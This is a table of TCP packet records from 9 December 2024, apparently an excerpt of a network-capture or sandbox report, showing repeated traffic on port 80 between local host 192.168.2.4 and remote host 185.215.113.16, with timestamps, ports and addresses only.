Dec 9, 2024 23:09:11.176979065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.177023888 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.177953959 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.177997112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.178023100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.178066015 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.179183960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.179223061 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.179246902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.179289103 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.180124998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.180171013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.180310965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.180351973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.181296110 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.181338072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.181411982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.181454897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.182353020 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.182395935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.182488918 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.182534933 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.183410883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.183454990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.183523893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.183571100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.184509039 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.184549093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.184690952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.184735060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.185715914 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.185762882 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.185789108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.185832024 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.186676025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.186717033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.186804056 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.186846972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.187751055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.187798023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.187843084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.187890053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.188868999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.188916922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.188942909 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.188988924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.189928055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.189971924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.189999104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.190047026 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.191011906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.191056967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.191113949 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.191154003 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.192118883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.192167997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.192291021 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.192337036 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.193212032 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.193259001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.193290949 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.193336010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.194294930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.194340944 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.194397926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.194441080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.195358992 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.195400953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.195538998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.195579052 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.196468115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.196516037 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.196546078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.196588993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.197537899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.197586060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.197602034 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.197653055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.198635101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.198682070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.198811054 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.198857069 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.199733019 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.199769974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.199887037 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.199939966 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.200865984 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.200911999 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.200922966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.200968981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.201960087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.201999903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.202002048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.202044010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.202986002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.203032970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.203109026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.203155041 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.204090118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.204135895 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.204164982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.204221010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.205180883 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.205224037 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.205293894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.205339909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.206258059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.206319094 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.206423044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.206461906 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.207298994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.207350016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.207472086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.207525969 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.208405972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.208451986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.208522081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.208559036 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.209507942 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.209547043 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.209623098 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.209671021 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.210602999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.210647106 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.210751057 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.210793972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.211719036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.211760998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.211832047 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.211874962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.212785006 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.212829113 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.212954998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.213001966 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.213875055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.213915110 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.213943005 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.213993073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.214956045 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.214999914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.215034008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.215085983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.216089964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.216100931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.216139078 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.217097044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.217144012 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.217689991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.217734098 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.218173027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.218219995 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.218318939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.218372107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.219338894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.219388008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.219420910 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.219465017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.343724966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.343794107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.343805075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.343843937 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.344217062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.344261885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.344296932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.344340086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.345242977 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.345287085 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.345374107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.345417976 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.346333027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.346378088 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.346405983 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.346445084 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.347439051 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.347484112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.347513914 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.347553968 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.348476887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.348520994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.348623991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.348665953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.349569082 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.349631071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.349661112 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.349700928 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.362093925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.362147093 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.362147093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.362184048 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.362380981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.362421989 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.362448931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.362485886 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.363497019 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.363542080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.363611937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.363655090 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.364602089 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.364645004 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.364669085 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.364713907 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.365701914 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.365746975 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.365775108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.365816116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.366718054 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.366796970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.366874933 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.366918087 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.367800951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.367847919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.367897987 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.367939949 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.368931055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.368977070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.369057894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.369105101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.369972944 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.370035887 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.370062113 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.370107889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.371073961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.371120930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.371146917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.371192932 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.372189999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.372235060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.372262001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.372302055 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.373239040 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.373277903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.373384953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.373428106 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.374331951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.374376059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.374547958 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.374593973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.375381947 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.375448942 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.375478029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.375523090 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.376473904 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.376514912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.376594067 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.376637936 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.377598047 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.377644062 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.377727032 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.377770901 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.378660917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.378705978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.378786087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.378829002 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.379749060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.379792929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.379854918 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.379897118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.380884886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.380945921 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.380964994 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.381009102 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.381930113 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.381983995 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.382009029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.382050991 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.383024931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.383070946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.383137941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.383181095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.384079933 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.384133101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.384195089 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.384238005 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.385164022 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.385205984 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.385288000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.385329008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.386231899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.386281013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.386328936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.386374950 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.387337923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.387386084 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.387451887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.387495041 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.388391972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.388439894 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.388509989 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.388554096 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.389566898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.389612913 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.389686108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.389729977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.390677929 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.390696049 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.390753031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.390753031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.391716957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.391798973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.391942978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.391990900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.392757893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.392827034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.392834902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.392879009 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.393857002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.393918037 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.394001007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.394043922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.394990921 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.395039082 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.395104885 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.395149946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.396068096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.396116018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.396143913 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.396189928 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.397105932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.397151947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.397182941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.397226095 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.398154020 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.398197889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.398271084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.398315907 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.399251938 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.399295092 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.399369001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.399415016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.400362015 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.400408030 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.400440931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.400485039 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.401465893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.401523113 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.401660919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.401701927 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.402520895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.402565002 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.402736902 CET	80	49770	185.215.113.16	192.168.2.4
